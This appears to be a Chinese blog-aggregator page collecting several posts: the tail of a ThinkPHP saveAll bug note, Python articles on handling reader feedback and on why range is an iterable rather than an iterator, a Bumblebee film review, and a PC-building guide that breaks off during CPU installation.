这个写入结果证明原本应该是多个ID的被写成一个了,就去翻了下belongsToMany的saveAll方法,翻来看去,也没发现啥问题,正常的将数据遍历后执行的save方法。没辙就去做了trace调试,明确的问题就是和预想的一样,不同的值被写成同一个了,那天流年在群里跟另外个小伙伴说做下跟踪调试,在model类431行查看下$this->exists结果,我顺道就去看了下我的,发现第一次写入的时候正常,后面写入都多了个主键,所以数据全写岔了。

2.jpg


4.jpg


对框架底层不熟,一时不知在框架上如何改起,二来下次等TP发版的时候应该就修复了,索性只在我业务层面改下算了,把原本saveAll方面改成遍历后调save方法写入算了(第一张图的注释部分)。


好了,水文结束,对了,似乎多个版本受影响,从5.1.28到5.1.32都有问题。


by 西枫里 at January 11, 2019 05:21 AM

pythoncat

聊聊技术写作的个人体会

有群友问过,是什么原因使我开始写技术公众号,又是什么动力让我坚持写的。
在我看来,写作是一件不能敷衍的事,通过写作来学习,反而要比单纯地学习的效果要好。为了写成一篇“拿得出手”的文章,我要反复查找资料,阅读与思考,拆解与整合,最终写成的时候,也是知识的拼图成型的时候。
所以,对我来说,写作是一种咀嚼信息而后提炼知识,最终拓展成技能与认知的过程。
虽然这个过程很缓慢,但曾经的急进方式并没有速成的效果啊,不妨就这样一文章一脚印地试试看咯。
除此之外,还有一个很重要的原因。文章是一种公共对话的媒介,它是一个展示的窗口,也是一个接收反馈的通道。通过写作,我有了跟其它学习者对话的机会。
看书学习可能只是个人的事情,但是,在写作平台上发布文章,这就超越了个人行为——你得随时准备着被批评、或者被请教、或者被误解、甚至是被无视(这是最常见的结果)。
我享受写作文章,来跟其他处在相同处境的同学们交流,来向更优秀的大牛们学习取经。
这就是我目前写技术文章的一些个人体会吧。
对于上面提到的第二个原因,我最近颇有感触,想要多聊一些。为了更有针对性,本文姑且限定一个话题吧,那就是“写作技术文章,如何看待他人的批评/意见”。

1、主观性的意见

有些声音其实只是主观看法,我认为可以和而不同。
主观世界往往没有确切的对错之分,毕竟——思想无罪
面对主观性的意见,我认为要做到有理有据,坚持一点个性,最后会得到别人的尊重。
比如,在翻译 Python 社区的七种治理模式的时候,有一个提案是“Python Governance Model Lead by Trio of Pythonistas”,我将它翻译成“三巨头治理模式”。有同学就指出,“Trio”应该翻译成“三人组”或者“三重奏”,翻译成“三巨头”是什么意思?
这种留言,我认为是主观性的意见,应求同存异。
我之所以这么翻译,一方面考虑,它要替代的是“终身仁慈独裁者”,三巨头对独裁者,意味深长;另一方面,我脑子里总想着一个皇帝死了,然后政权被三个摄政大臣把持,这种政治画面挥之不去,虽然是不着边际,但挺有趣味,所以我不肯放弃这“三巨头”的译法。
主观性的意见带入了提出者的个人知识背景、思想结构、以及话语习惯等等,我觉得要先尝试交流,相互交换,能融洽兼容则最好啦,不能的话,及时终止。

2、客观性的意见

客观性的意见有如下几种:笔误(错别字和其它疏忽)、代码规范、知识性错误…
对于笔误性的错误,这没啥好说的,我自己发现过几处,也被读者指出过几处。有则改之就好。
对于代码规范,有时候为了举例方便,确实没有按照规范来。尽量避免,求一个兼顾。
知识性错误是要热烈欢迎的——不是说欢迎错误,而是说欢迎别人来指出我所未知的错误。
出现知识性的错误,就意味着没有全面掌握知识,一旦出现,就必然意味着有提升的空间。本来以为知道了什么,如果被指出了错误,那改正后,才是真的知道了什么。
知道自己不知道并且改正之,并不可耻,不知道自己不知道,这才可怜。
在写《Python是否支持复制字符串呢?》的时候,我根据已得的知识,以及查阅到的资料,早早就得出了一个很满意的结论。最后成文前,临时地加了一个未作验证的示例,没想到这会是一个致命的反例,推翻了前面辛辛苦苦建立起来的一切。
这是一个客观性的错误,一被指出的时候,很快就能验证。因为这个错误,我重新梳理了相关的知识点,组成新的知识面,写成了一篇《join()方法的神奇用处与Intern机制的软肋》。
还有一个例子,前不久的《Python进阶:自定义对象实现切片功能》,我在准备素材的时候,竟采用了一个不严谨的例子,而且自作聪明地批判了别人的实际无误的例子。最后,有读者留言了很长的不同观点,我才意识到自己的错误!
得益于读者的留言,我修正了自己的错误,而且在修正过程中,也加强了对于其它知识的理解,真是塞翁失马焉知非福啊。

3、内置函数与内置类

这里还有一个客观性错误,藏得特别深,可能真的有 90% 的 Python 使用者不知道。
特别感谢 @xpresslink 同学指出。下面,我给大家分享一下。
在文章《为什么range不是迭代器?range到底是什么类型?》里,我的注意点其实就在标题的两个问句里,大部分的留言互动也是基于此。但最后,很意外地,一名读者指出了一个客观性错误,让我有了额外的收获。
这位同学指出我有些基本的概念是错误的:

“range() 函数”这个说法是非常明显有错误的,range 不是内置函数( builtin method )而是个类对象,在 python 里面不要见到用括号调用的东西就认为是函数,类似的还是有很多,如 list, set, tuple, dict 等,这些都是类, 特别是 enumerate ,这个学 python 的人十有八九认为是函数而不知道是类,加了括号是实例化而不是函数调用。

python 中类的实例化和函数调用非常容易对新手有大的迷惑性,相对来说在 java 中有明确的 new 关键字加在构造方法前面概念更清楚一些。

根据这个评论,我就去查看文档。
上图中 range() 虽然被归类到 Built-in Functions 里面,但是官方描述的是“functions and types”,即是说,在内置函数的大类下面,包含了内置函数与内置类。
那 range() 属于哪一种呢?看看它的解释:

Rather than being a function, range is actually an immutable sequence type…

range 实际是一种不可变的序列类型,而非一个(内置)函数…

按照这里的说法,官方已经区分了 range() 不是函数,正像那位留言的同学所说。
我第一反应当然是不能接受。我怎么会认为它是内置函数的呢,难道不是根据学习资料得来的么?难道我学习的资料是错的?为何从来没看到有人对此做过辨析呢?
根据群友的提示,我去查看 Python2 的文档,然后就发现了很有意思的地方:
首先一点, Built-in Functions 的描述跟 Python3 有点不同,它写的是 “functions”,并不包含“types”;还有一点,在 range() 和 xrange() 的具体内容中,官方都是称呼它们为 function 。
由此看来,Python2 的官方文档就把 range() 当成内置函数,这个认识错误是有根源的!等到 Python3 的时候,官方把错误改正过来了,然而改得并不彻底。才有了前面同时存在“functions and types”的描述。
官方已经把 range() 与 xrange() 规范为一个,或许在今后版本,还会专门分出一类 Built-in Types 来存放像 range() 和 enumerate() 这些内置类吧。
在那之前,我只能先行给大家提个醒了:别再误以为 range() 是内置函数了。
那么,怎么辨别哪些是内置函数呢?
我想到了两个方法:
(1)看是否存在对应的魔术方法。例如,len() 是一个内置函数,因为它实际调用的是魔术方法__len__() ;还有最近一直在提的 iter(),它调用的是__iter__() ,所以也是内置函数;而因为不存在 __range__() 魔术方法,所以 range() 不是内置函数。
(2)使用 type() 进行判断,结果为 builtin_function_or_method 的才是内置函数。
>>> type(len)
builtin_function_or_method
>>> type(sorted)
builtin_function_or_method
>>> type(open)
builtin_function_or_method

>>> type(range)
type
>>> type(enumerate)
type
>>> type(str)
type
像 open 和 sorted 并没有对应的魔术方法,但判断出来都是内置函数;而 str 虽有对应魔术方法,但判断是 type ,这意味着,以上两种方法得要结合起来看。
我不确定有多少人事先知道怎么区分内置函数与内置类,但我确实没看到过对这个问题进行辨析的文章,所以,这次是真正涨知识了,也希望这篇文章,能够消除一些读者的错误观念吧。

4、小结

我最近写的一些文章都不是心血来潮,不管是字符串系列、切片系列还是迭代器系列,本意都是想在一个主题上进行深入的多面性的思考与记录。
如果没有一些热心读者的指正,我恐怕是很难知道自己错在了哪里,如果不是有这么多的认同以及意见,我恐怕也缺乏动力坚持写下去。
最后鸣谢几位提意见的小能手同学(时间顺序,可能有漏):@疯琴、@德玛西亚之翼奎因、@发条橙、@gaieepo、@郭芮、@aijam、@xpresslink、@进击的团子、@不换…
相关链接(单有错,双修正):
update:魔术方法不能作为判断条件,文章方法1的部分内容应该删掉。

January 11, 2019 12:00 AM

January 06, 2019

anji66

《大黄蜂》,写影评我不是认真的。

周末,因为点事情回了趟老家,来回奔波500公里,并且需要两天时间。第一天打算早早出门,结果晚晚出门,完成第一天任务后,去了小县城转转,毕竟小县城车让人在监控加持下蔚然成风,不得已,我又成了百度地图上的五星好司机。阴雨天气,想来也没啥可逛了,那九州广场自打开业,我这漂泊在外的游子也没像样的去逛过,索性去蹭空调了。三楼还是四楼有大片孩子玩的,逗留了两个小时就去吃晚饭了,吃完饭尚早,回酒店睡觉似又浪费,看个电影吧,拖着不到三岁的孩子怕搅了别人的雅兴,湿冷的江南冬夜,一不做二不休,就电影院,大不了娃儿吵了我们出来就是了,何况正在上映《大黄蜂》,何况自打孩子出生就没进过电影院了。

位置是没有好位置了,临时兴起购的票,边上就边上吧,正好万一孩子闹起来还能有个回旋的余地。开映前5分钟,购票取票验票一气呵成,给了两副3D眼镜,小伙子看着我们手上抱着孩子,犹豫要不要给孩子来一副(孩子是小号的眼镜),眼镜还在他手上,没等他开口,我就抓了过了,要。

坐定,边上确实有点不好,可见角度影响,我看荧幕的一侧总是灰蒙蒙的,这也就算了,该死的门口那荧绿色的安全出口还反光到了荧幕上,吐血三升。自打坐好,孩子倒是出奇的安静,戴上小眼镜,直愣愣的盯着荧幕,大概是没接触过这新鲜玩意,估计是捉摸这为啥不是放的汪汪队立大功。

IMG_20190105_162130.jpg


变形金刚番外篇

故事的梗概就是讲了赛博坦被打成废墟后汽车人来地球隐藏的背景。大黄蜂在一个废车场藏身,最后被女主给找到,并修复了他。经过一系列俏皮互撩互动后就是相互成就。典型的美帝商业片。用一个词来形容这部电影:人机情未了!


女主人公

一个刚刚年满十八周岁的跳水冠军。似乎是走到了职业瓶颈抑或受了什么打击,总之对跳水这件事,抗拒的不得了,在海边她那帮尖酸的朋友or同学面前,悻悻然走开,即使大黄蜂给了鼓励。另外一个背景是女主的爸爸挂了,在这个重组家庭,似乎并不那么和谐,总是看起来一副很独立的样子。我没看明白她那个弟弟到底是她亲的还是继父的。后来的剧情证明这个重组家庭还是很有人味的。


男主角

除了大黄蜂外,应该那俩都算吧,一个隔壁怂包,一个死脑筋的特工。先说隔壁怂包,从暗恋到最后修成正果(八字有一撇,一捺还没写),从初见大黄蜂的惊吓到营救大黄蜂的镇定,这算是个BUG吧,最后那阻挡增援部队的那种选择不知道是真怂还是假怂。死脑筋特工是个帅大叔,就他,演《海军陆战队》的那个肌肉男,百度的时候发现这货竟然能说流利的中文,我去。从开始不分立场的打击大黄蜂,到被霸天虎利用,有立场的打击大黄蜂,到不分立场打击所有外星人(汽车人和霸天虎),到最后被大黄蜂所救,送上的那一个敬礼,完成了敌友识别。你就这智商了,咋当的特工?


配角

女主角的弟弟,心好嘴笨,善良的主。女主角的继父,幽默负责,车技还不错,虽然那惊险的场面不是他能造出来的,但好歹因他而起。狂妄博士,先是想利用外星人找到对抗苏联的办法,结果被霸天虎利用,最后识破霸天虎谎言后,利用价值也就没了,下场就是变成圣伯纳犬的口水一样滴到地上。


幽默桥段

欢乐因素应该算是这部电影的最重要组成部分吧,毕竟要老少咸宜。据说电影的投资人是耐克家的公子,如果这电影拍不好他就会回家继承巨额财产,尼妹的继承巨额财产竟然是苦兮兮的差事。幽默主要是两块,一个是沙滩撩妹:大黄蜂又是摸头杀有是变乌龟(躲石头后面)。第二段就是大黄蜂在女主家试图偷看电视的拆家场面,那一系列风骚操作,这很憨豆。


核心意涵

这玩意一千个读者就有一千个哈姆雷特。从最后大黄蜂与那个红色的女霸天虎同归于尽后沉入水底的那一刻,女主才终于冲破了心中的魔咒,纵深一跃以堪比郭晶晶的水准压出水花,救起了大黄蜂(这特么到底谁救谁)。大黄蜂也因女主的努力和顽强找回了因失忆丢失的任务精神,算是完成了擎天柱交代的任务。


电影看到一半,我似乎发现我的小情人在我大情人的怀里睡着了,轻轻取下3D眼镜,这孩子马上把手捂到眼睛上,感觉很刺眼似的,又给她戴上,并横着抱起来,呼呼大睡,直到电影结束。这孩子第一次看电影就这样看一半睡一半,也没哭也没闹的就过去了,记下这属于她人生的第一次,以便将来说给她听。如果你也担心你家半大点孩子吵闹,不妨尝试一下,也可,只是音响声音太大似乎对娃儿鼓膜不好,无他。


整个电影把变形金刚系列电影中大黄蜂如何失声,如何变科迈罗的事情也都一并交代了。对了,最后加州大桥上那辆货柜车应该是擎天柱吧,如果不是别劈我,剧透结束,很显然这个把影评写成剧透的风格很西枫里。


by 西枫里 at January 06, 2019 04:21 PM

January 05, 2019

pythoncat

为什么range不是迭代器?range到底是什么类型?

迭代器是 23 种设计模式中最常用的一种(之一),在 Python 中随处可见它的身影,我们经常用到它,但是却不一定意识到它的存在。在关于迭代器的系列文章中(链接见文末),我至少提到了 23 种生成迭代器的方法。有些方法是专门用于生成迭代器的,还有一些方法则是为了解决别的问题而“暗中”使用到迭代器。
在系统学习迭代器之前,我一直以为 range() 方法也是用于生成迭代器的,现在却突然发现,它生成的只是可迭代对象,而并不是迭代器! (PS:Python2 中 range() 生成的是列表,本文基于Python3,生成的是可迭代对象)
于是,我有了这样的疑问:为什么 range() 不生成迭代器呢?在查找答案的过程中,我发现自己对 range 类型的认识存在一些误区。因此,本文将和大家全面地认识一下 range ,期待与你共同学习进步。

1、range() 是什么?

它的语法:range(start, stop [,step]) ;start 指的是计数起始值,默认是 0;stop 指的是计数结束值,但不包括 stop ;step 是步长,默认为 1,不可以为 0 。range() 方法生成一段左闭右开的整数范围。
>>> a = range(5)  # 即 range(0,5)
>>> a
range(0, 5)
>>> len(a)
5
>>> for x in a:
>>>     print(x,end=" ")
0 1 2 3 4
对于 range() 函数,有几个注意点:(1)它表示的是左闭右开区间;(2)它接收的参数必须是整数,可以是负数,但不能是浮点数等其它类型;(3)它是不可变的序列类型,可以进行判断元素、查找元素、切片等操作,但不能修改元素;(4)它是可迭代对象,却不是迭代器。
# (1)左闭右开
>>> for i in range(3, 6):
>>>     print(i,end=" ")
3 4 5

# (2)参数类型
>>> for i in range(-8, -2, 2):
>>>     print(i,end=" ")
-8 -6 -4
>>> range(2.2)
----------------------------
TypeError    Traceback (most recent call last)
...
TypeError: 'float' object cannot be interpreted as an integer

# (3)序列操作
>>> b = range(1,10)
>>> b[0]
1
>>> b[:-3]
range(1, 7)
>>> b[0] = 2
TypeError  Traceback (most recent call last)
...
TypeError: 'range' object does not support item assignment

# (4)不是迭代器
>>> hasattr(range(3),'__iter__')
True
>>> hasattr(range(3),'__next__')
False
>>> hasattr(iter(range(3)),'__next__')
True

2、 为什么range()不生产迭代器?

可以获得迭代器的内置方法很多,例如 zip() 、enumerate()、map()、filter() 和 reversed() 等等,但是像 range() 这样仅仅得到的是可迭代对象的方法就绝无仅有了(若有反例,欢迎告知)。这就是我存在知识误区的地方。
在 for-循环 遍历时,可迭代对象与迭代器的性能是一样的,即它们都是惰性求值的,在空间复杂度与时间复杂度上并无差异。我曾概括过两者的差别是“一同两不同”:相同的是都可惰性迭代,不同的是可迭代对象不支持自遍历(即next()方法),而迭代器本身不支持切片(即__getitem__() 方法)。
虽然有这些差别,但很难得出结论说它们哪个更优。现在微妙之处就在于,为什么给 5 种内置方法都设计了迭代器,偏偏给 range() 方法设计的就是可迭代对象呢?把它们都统一起来,不是更好么?
事实上,Pyhton 为了规范性就干过不少这种事,例如,Python2 中有 range() 和 xrange() 两种方法,而 Python3 就干掉了其中一种,还用了“李代桃僵”法。为什么不更规范点,令 range() 生成的是迭代器呢?
关于这个问题,我没找到官方解释,以下纯属个人观点
zip() 等方法都需要接收确定的可迭代对象的参数,是对它们的一种再加工的过程,因此也希望马上产出确定的结果来,所以 Python 开发者就设计了这个结果是迭代器。这样还有一个好处,即当作为参数的可迭代对象发生变化的时候,作为结果的迭代器因为是消耗型的,不会被错误地使用。
而 range() 方法就不同了,它接收的参数不是可迭代对象,本身是一种初次加工的过程,所以设计它为可迭代对象,既可以直接使用,也可以用于其它再加工用途。例如,zip() 等方法就完全可以接收 range 类型的参数。
>>> for i in zip(range(1,6,2), range(2,7,2)):
>>>    print(i, end="")
(1, 2)(3, 4)(5, 6)
也就是说,range() 方法作为一种初级生产者,它生产的原料本身就有很大用途,早早把它变为迭代器的话,无疑是一种画蛇添足的行为。
对于这种解读,你是否觉得有道理呢?欢迎就这个话题与我探讨。

3、range 类型是什么?

以上是我对“为什么range()不产生迭代器”的一种解答。顺着这个思路,我研究了一下它产生的 range 对象,一研究就发现,这个 range 对象也并不简单。
首先奇怪的一点就是,它竟然是不可变序列!我从未注意过这一点。虽然说,我从未想过修改 range() 的值,但这一不可修改的特性还是令我惊讶。
翻看文档,官方是这样明确划分的——有三种基本的序列类型:列表、元组和范围(range)对象。(There are three basic sequence types: lists, tuples, and range objects.)
这我倒一直没注意,原来 range 类型居然跟列表和元组是一样地位的基础序列!我一直记挂着字符串是不可变的序列类型,不曾想,这里还有一位不可变的序列类型呢。
那 range 序列跟其它序列类型有什么差异呢?
普通序列都支持的操作有 12 种,在《你真的知道Python的字符串是什么吗?》这篇文章里提到过。range 序列只支持其中的 10 种,不支持进行加法拼接与乘法重复。
>>> range(2) + range(3)
-----------------------------------------
TypeError  Traceback (most recent call last)
...
TypeError: unsupported operand type(s) for +: 'range' and 'range'

>>> range(2)*2
-----------------------------------------
TypeError  Traceback (most recent call last)
...
TypeError: unsupported operand type(s) for *: 'range' and 'int'
那么问题来了:同样是不可变序列,为什么字符串和元组就支持上述两种操作,而偏偏 range 序列不支持呢?虽然不能直接修改不可变序列,但我们可以将它们拷贝到新的序列上进行操作啊,为何 range 对象连这都不支持呢?
且看官方文档的解释:

…due to the fact that range objects can only represent sequences that follow a strict pattern and repetition and concatenation will usually violate that pattern.

原因是 range 对象仅仅表示一个遵循着严格模式的序列,而重复与拼接通常会破坏这种模式…

问题的关键就在于 range 序列的 pattern,仔细想想,其实它表示的就是一个等差数列啊(喵,高中数学知识没忘…),拼接两个等差数列,或者重复拼接一个等差数列,想想确实不妥,这就是为啥 range 类型不支持这两个操作的原因了。由此推论,其它修改动作也会破坏等差数列结构,所以统统不给修改就是了。

4、小结

回顾全文,我得到了两个偏冷门的结论:range 是可迭代对象而不是迭代器;range 对象是不可变的等差序列。
若单纯看结论的话,你也许没有感触,或许还会说这没啥了不得啊。但如果我追问,为什么 range 不是迭代器呢,为什么 range 是不可变序列呢?对这俩问题,你是否还能答出个自圆其说的设计思想呢?(PS:我决定了,若有机会面试别人,我必要问这两个问题的嘿~)
由于 range 对象这细微而有意思的特性,我觉得这篇文章写得值了。本文是作为迭代器系列文章的一篇来写的,所以对于迭代器的基础知识介绍不多,欢迎查看之前的文章。另外,还有一种特殊的迭代器也值得单独成文,那就是生成器了,敬请期待后续推文哦~
猜你想读:
20190107 update:有同学指出,range() 不是内置函数而是个类对象。查看文档:Rather than being a function, range is actually an immutable sequence type, as documented in Ranges and Sequence Types — list, tuple, range.如此看来,官方确实不完全把它定义为函数。只是,文档的大类是内置函数,这会引起很多误会…

January 05, 2019 12:00 AM

January 03, 2019

anji66

如何组装一台电脑,攒机攻略。

话说年前,那台跟了我10年并且性能还没淘汰的电脑,终于在一次正常关机后,牺牲了。那天早上起来开电脑,点不亮,没任何反应,完了,最担心的事情发生了,毕竟这电脑有些年份了,一台电脑满打满算跑6年算是相当不错来的了,这台可是用了10年了。原先一直担心我组的RAID会挂掉,造成数据丢失,没想到的是主板挂掉了,彻底报废了。换主板是不可能的了,毕竟10年前的东西了,配件也算基本废了,不是接口不对,就是标准太老。唯独把刻录机拆下来复用了。

老电脑烧了也就烧了,毕竟数据是真重要啊,无奈就了外面有数据恢复能力的电脑店,拿去先检测一下,最终断定是南桥芯片烧了。那就恢复数据吧,在我的印象中RAID0如果磁盘坏了,数据铁定是找不回来了,微软也没办法。目前我这个磁盘肯定没坏,至少有恢复数据的基础。修理店老板倒是有工具,专门恢复阵列数据的PCIE卡和配套的软件。终于把我的数据都找回来了,浪费点票子。

话说回来,不是装电脑么,扯了这么多,算是前景提要了,谅解。组装一台电脑其实很简单,稍微有点动手能力的朋友都可以自己攒机。接来下我说说攒机的一些注意事项和操作方法,想到哪说到哪儿,可能没什么章法,见谅,全文约6000多字,全部看完需要花几分钟时间。


先上个我新电脑的配置单吧,后面我也好按照这个顺序来讲。CPU:酷睿I5-8500,主板:技嘉B360 HD3,内存:威刚XPG DDR4 2666 8G*2,固态:三星 970Evo,机械:酷鱼ST2000DM008 2T,显卡:影驰GTX1050Ti,电源:航嘉WD500K,机箱:金河田家悦7001B,显示器:三星S24E390HL。


关于选择配置的一些基本套路

首先就是要有预算,而不是看配件下单,土豪除外。有了预算以后,作为一个熟练的装机员基本可以评估出来配件的型号了,不是太熟悉配件行情的也可以评估出来配件的价格和型号选择范围了。为什么说能评估出价格范围呢,其实很简单,核心的三大件,外加显卡,其它配件价格影响影响因素小,举个例子,预算在5000元,第一个就要问的是否涵盖显示器,如果算显示器,那显示器没有特殊要求的,预算就减1000,剩下4000块钱,CPU,主板,内存,显卡四个大件平均在800一个,就可以圈定选择范围了。(这两年内存涨价有点离谱)。对于个人新手来说有了价格范围或者型号概念的话,剩下的就是工具了,推荐太平洋自助装机,在太平洋电脑网右上角有个按钮。或者采用京东的自助装机,在京东电脑板块,上面有个装机大师。京东的这个装机大师有个不好的就是配件选择方面,没货的就选不到,当然你如果想在京东买配件,没货选了也白选,像西枫里这种狂热的天猫死硬份子,坚决是不可能在京东购物的,毕竟二手东的名号不是随便叫的。


CPU的选择

CPU是一台电脑的大脑,大部分的运算都是需要CPU直接或间接(GPU承担了某些运算的一部分)的参与。目前用户层面桌面PC选择CPU也就两大厂商,Intel和AMD。两家厂商的特点我就不介绍了,大多数人都了解。我就提两个方面,用AMD的CPU可以搭一个3A平台(自行百度),选Intel特别要注意代际变化和兼容,不过好在主流的都是兼容的(上次公司电脑就把我坑到了,那是个非主流的机器)。这里就我的CPU来说下选择因素,首先Intel的产品定位,Intel分为高端的酷睿,中端的奔腾和低端的赛扬。酷睿又从I3,I5,I7,I9依次分级(前提是同一代级的),一般I3的双核是I7的4核中的两个,说白了就阉割了一半,I5四核是比I7效能略低的核心,I9土豪专用。博主的预算是不超过7K,含显示器,所以6000的主机来说,四大件占比80%的费用,CPU的选择范围就在1200元左右,而我估了一下主流的主板一半都在800多块钱,所以将400多的预算加到CPU上,CPU的价格到了1600左右,选择盒装产品,I5-8500直接进入首选范围。至于盒装和散片的概念请自行百度,早些年打磨散片坑人的奸商比比皆是,所以一直对散片无好感,另外盒装的散热风扇我是觉得足够用了,如果你是大型游戏的狂热份子,或者专业作图的,建议换个专业的散热器。另外有了型号了,其实接口就已经固定了1151的针脚。


主板的选择

选定了CPU后,主板的选择其实已经圈定了,选择合适的芯片组就好了。什么是芯片组?既然是组,那就不是一个芯片,通常我们说的芯片组是指南北桥芯片组合方案,例如说Z370,B360,H310这些,前面说AMD的时候讲到3A平台,其中一个A就是AMD的芯片组,例如X470芯片组。芯片组说了这么多具体啥用,主要是匹配不同的CPU和提供不同的扩展。前面说Z370、B360、H310其实都是intel300系列芯片组,其中Z370定位高端,B360中端,H310低端。举例来说:适配性方面,他们都支持8代酷睿,而如果你需要超频,那么只能选Z370,B360和H310是不支持超频的,扩展性方面,Z370支持三个M.2接口,B360支持两个M.2接口,而H310只支持一个M.2接口。对于我们普通用户,超频什么的是不可能的了,会玩超频的你肯定也不会看我这篇博文了,所以B360作为家用主流首选,价格更合适。说完芯片组,我们再来讲一下板型,你会经常看到为什么主板有大有小,这就是所谓的板型了,遵循的是ATX规范。主要分ATX大板,ATX小板。还有一种mini板。ATX大板就是标准的全尺寸主板,小板叫microATX。区别就是尺寸,尺寸大小又关系到插槽的多寡及散热和电磁干扰性。家用建议使用ATX大板,比如博主这块B360 HD3,当然对应的这个主要的小板型号是B360M-DS3H。说完板型,主板还有一个不得不提的所谓供电方案,主要是几相供电,简单理解就是供电相数越多,CPU越稳定,特别是需要超频的,供电相数太小会不成功哦。


内存的选择

作为普通用户选择内存第一要素,除了价格外,当然是容量。容量的选择是根据需求来的,随着系统和软件现在占用内存越来越大,现在跑个WIN10,8G起步。除了容量,内存我们还需要关注哪些指标呢?第一个是内存规格,我们通常说的DDR4、DDR3就是规格不同,买的时候看下主板支持的规格。第二个是频率问题,拿DDR4来说常见的有3200、2666、2400、2333。选择的时候,就高不就低,比如主板主持2400的内存,你可以选2400,2666这些大于2400的都可以,但是不建议买2333这样的了。如果玩内存超频的就另一种说法了。第三个需要注意的是所谓通道技术,也就是常说的内存双通道技术。例如现在要电脑配置8G内存,是选择单条8G还是选4G*2呢?理论上双通道模式下内存读写速度比单通道要快一倍,如果内存价格差距不是特别明显的情况下,双通道是首选,单通道最后考虑。现在很多主板都有四个内存插槽,有些主板做的人性化一点,四个内存槽的颜色是不同的,颜色一致的就组成双通道方案了,插内存的时候对应一下即可。7P组笛大佬说一般插1、3槽,我印象中只是习惯问题。如果四根槽默认支持的频率不同,优先选择高频率的两根。至于单通道没啥好说的,那啥,什么,你要插3根内存,你就当我放屁没说话好吧。最后对了,如果双通道的话,最好是同一品牌同一规格的内存,最最最最好是同一批次的。博主用的威刚,其实博主对OCZ恋恋不忘。


显卡选择

显卡关乎大家对显示性能的追求了,关于核显和独显的区别就不用科普了吧。我们来说说独显,它其实是分游戏显卡和专业显卡的。从芯片角度分,又有A卡和N卡的区别,A卡就是前面我说3A平台的最后一个A了,AMD的芯片方案,A卡公司在被AMD收购之前我们一般叫ATI显卡,就是A卡,另外一个就是NVIDIA显卡了,即N卡。如果说一定有什么区别,那么A卡在作图领域肯定比N卡牛逼,在游戏领域N卡绝对比A卡优化的要好。就这点区别了,如果对游戏要求不搞,经常做设计无论是平面还是3D设计,A卡会相对好些。如果追求大型3D游戏效果,那么N卡好一些。抛开这些,至于显存大小,显存位宽,显存频率,流处理器数量这些只要从指标数值就能判断出来,我就不说了。说点别的,比如玩个显卡交火,A卡的方案叫CrossFire交火技术,N卡叫SLI交火技术,玩这个需要综合看下主板和显卡的双向支持程度。比如楼主10年那台双卡交火性能,用硬件评测的话,性能仍然在主流位置。啥,你让我推荐品牌?这不太好吧,一般针对普通用户选择,我所认为的一线大厂,A卡的一线大厂是迪兰恒进和蓝宝石,N卡是影驰和七彩虹。博主这块显卡其实标配应该选GTX1060的,首选是预算我抠的比较紧,第二我对显示性能没多大要求,很多年不玩大型游戏了,所以选了个加强版的1050ti,价格比1060便宜,性能损失不是很大。


固态硬盘的选择

其实博主真的很多年不关注硬件了,固态硬盘这几年更新也很快,只要关注接口和读写速度就好了,M.2的硬盘肯定比SATA3的要来的快。固态硬盘的缺陷也很明显,读写次数的上限,老化速度,存储机制。固态的优势就是快,所以用来装系统和装软件不错,因为这些缺陷所以不建议用来保存数据。并且万一硬盘挂了,机械硬盘最差也好歹能开盘,固态就彻底嗝屁了。有个小技巧,固态硬盘不建议把数据塞满哦,因为存储机制的问题,最好用个百分之八九十就别装东西了,它不像机械硬盘能写到最后一根磁道。


机械硬盘的选择

这个就更没啥好说的了,就一句话,日立的盘说多了都是泪,希捷和西数随便选吧,除去价格,无非关注容量和缓存。西数早些年的绿盘事件,博主比较害怕,所以经博主的手装的机没有西数的东西。缓存越大越好,至于NCQ啊这种指标和其它新技术没啥可关注的,因为感官上你是体会不到的。


电源的选择

如果说CPU是大脑,那电源就应该是心脏,一个人心脏不好,这个人也好不到哪里去。电源的主要作用是将市电转换成各种电压、电流和功率指标的电力供给不同的配件。电源主要关注的指标通常只有功率,也就是说多少瓦来着,像B360的板子起码300W以上的电源带动。而我们所看到的电源功率通常是额定功率,实际功率是不足的,这里就会引入了一个指标叫转换效率,根据转换效率不同,为了更直观的了解电源,有个叫80PLUS的标准,通常有金银铜三个等级,除此外还有白牌80PLUS和铂金80PLUS,贵金属这东西你看哪个贵,就哪种80PLUS更好。如果计算一台电脑大概需要多少功率,还是回到四大件身上,简单而言,一个CPU预计需要90-120W的电力供应,主板需要50-100W的电力供应,一个显卡需要60-100W的电力供应,2根内存需要20-30W的电力供应,其他配件电力损耗就很小了,这样算下来差不多300W的实际消耗,那么额定功率按照80PLUS的转换标准,满载约要400W以上的电源。


显示器的选择

这个屏幕尺寸、分辨率、延迟、材质、接口类型,很多喜欢外设的朋友这个比我都专业,我就不说了,我就是比较喜欢三星的色彩还原度。


机箱和散热器的选择

那种花哨的亚克力材质,算了吧,追求杀马特风格的氛围灯,各种水冷炫技的搭配,不是我说的重点,我说的重点是有两个,一个是机箱尺寸,中塔机箱,标准机箱,小机箱,搭配你的主板的,别选错了。材质,主要集中在钢板厚度,镀锌涂层,和开孔方式。啥?这有啥用?因为隔离电磁辐射在电脑上最有效的就是镀锌钢板,材质越厚,镀锌涂层越厚,效果越好。机箱上的开孔是正六边形的孔最好。散热器的选择,如果不玩水冷,风冷方面,CPU盒装风扇我觉得够了,你可以适当搭配一个机箱后置12厘米的风扇负责抽风。这样散热就不是问题了,有些好的机箱风道设计的很好,再辅之以背板走线,即便是夏天没空调,散热也不是问题。


其实说了这么多,很多深层次的参数博主并没有提到,比如说CPU的纳米制程、缓存大小、超线程、虚拟化技术。因为这些对于普通用来说,不影响你选择配置,更多的和资深硬件玩家有关。


最后来手把手装机教学。

图片我拍的比较少,很多步骤自己一个人装机就忘了拍照了,我尽量把装机顺序讲清楚。装机之前的注意事项,首先你需要一把十字口螺丝刀。剩下工具都可以不用了,装机之前,特别是这大冬天,一定要除下静电,你穿个毛衣,满身静电去接触电子配件,保不齐就把那个电子管或者电容给击穿了。除静电办法先去洗个手,用手接触下金属的自来水管。或者大件的金属物体。


先来看看配件全家福。

1.jpg


装机第一步取出主板,除去外层的防静电袋。放置在一个平整的平面上,有些主板自带减震海绵,没有的话直接放桌子上就行,别有水就好了。

2.jpg


去掉CPU插槽保护盖,打开固定卡座,如图这样。

3.jpg


取出CPU,平稳放置在CPU插槽上,注意放置的位置,看一下CPU四个角,有一个角有一个三角形的标记,同样在主板CPU插槽上也有一个标志(标在卡座的金属上面的),两个标志对应起来,并且CPU和插槽均有缺口设计,防止放错,放上CPU卡住卡座就OK了。

5.jpg

4.jpg


